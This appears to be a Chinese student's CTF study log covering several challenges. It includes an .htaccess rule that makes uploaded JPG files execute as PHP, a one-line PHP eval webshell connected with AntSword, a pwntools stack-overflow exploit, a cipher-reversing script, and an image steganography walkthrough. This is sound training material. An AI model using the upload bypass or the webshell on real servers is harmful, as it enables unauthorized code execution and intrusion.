当前位置: 首页 > article >正文

2.19学习记录

Web

easyupload3.0

这是一道构造.htaccess文件的传马
如下:

<FilesMatch "jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件可以作为一个解释器,可以将传进去的图片马改为php马在这里插入图片描述上传之后再传个图片马,之后就可以蚁剑了在这里插入图片描述

[极客大挑战 2019]Knife

在这里插入图片描述根据提示构造木马

/?<?php eval($_POST["Syc"]);?>

之后用蚁剑连接即可在这里插入图片描述flag在根目录下

pwn

[BUUCTF]bjdctf_2020_babystack

先用exe看一下在这里插入图片描述64位的exe文件,用ida查看主调函数在这里插入图片描述分析代码发现在read处存在栈溢出
exp:

from pwn import *
io=remote('node2.anna.nssctf.cn',28733)
io.sendlineafter("name:",b'100')
payload=b'a'*(0x10+8)+p64(0x4006E6)
io.sendlineafter("name?",payload)
io.interactive()

re

[SWPUCTF 2021 新生赛]非常简单的逻辑题

题目

flag = 'xxxxxxxxxxxxxxxxxxxxx'
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = ''
for i in range(len(flag)):
    s1 = ord(flag[i])//17
    s2 = ord(flag[i])%17
    result += s[(s1+i)%34]+s[-(s2+i+1)%34]
print(result)
# result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'

题目的意思是在for循环中,对flag的ASCII值取整并赋给s1,对flag的ASCII值取余并赋给s2,在进行一个加密算法赋给result。
根据查询ai,分析思路:先在一定范围的ASCII值中,取整取余,分别赋给s1,s2
再定义一个函数命名为res,让其等于加密算法,此时的加密算法i已经不能再用i表示,替换成num
再写一个if判断,res与result的两两分组的值是否相等
exp:

flag = ''
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v0b9n1nkajz@j0c4jjo3oi1h1i937b395i5y5e0e$i'
res = ''
num = 0
for j in range(0,len(result),2):
    for i in range(255):
        s1 = i//17
        s2 = i%17
        res = s[(s1+num)%34]+s[-(s2+num+1)%34]
        if res == result[j:j+2]:
            flag += chr(i)
            num += 1
print(flag)

在这里插入图片描述

misc

[NISACTF 2022]huaji?

用010查看附件发现是个jfif文件在这里插入图片描述用随波逐流一把梭了
在这里插入图片描述发现含有一个zip,内容是叫作flag的文档在这里插入图片描述用binwalk分出来,压缩包是加密的在这里插入图片描述
得到的jpg查看一下exif,发现可疑信息在这里插入图片描述标记处猜一波是密码,结果还真是在这里插入图片描述


http://www.kler.cn/a/554197.html

相关文章:

  • android模拟加班
  • 23. AI-大语言模型-DeepSeek
  • 计算机三级网络技术知识汇总【3】
  • 10-Redis面试篇
  • 驱动开发、移植
  • 【2025年最新】SpringCloud面试题
  • 【Rust中级教程】1.11. 生命周期(进阶) Pt.1:回顾、借用检查器、泛型生命周期
  • 曙光服务器安装centos8
  • 从零开始构建一个语言模型中vocab_size(词汇表大小)的设定规则
  • Java 中 List、Set、Map 核心实现类解析
  • Linux firewalld 开放端口
  • 【图像去噪】论文精读:PromptIR: Prompting for All-in-One Blind Image Restoration
  • Redis过期机制
  • 从线程池到负载均衡:高并发场景下的系统优化实战
  • DeepSeek赋能智慧城市:多场景应用,打造感知-决策-执行的闭环解决方案架构
  • MySQL 的存储引擎有哪些?它们之间有什么区别? MySQL InnoDB 引擎中的聚簇索引和非聚簇索引有什么区别? MySQL 的索引类型有哪些?
  • 青龙圣者的训练脚本训练 Flux lora
  • 基于 Spring Boot + 微信小程序的短文写作竞赛管理系统设计与实现(源码+文档)
  • 力扣-二叉树-236 二叉树的最近公共祖先
  • 基于微信小程序的家政服务预约系统的设计与实现(php论文源码调试讲解)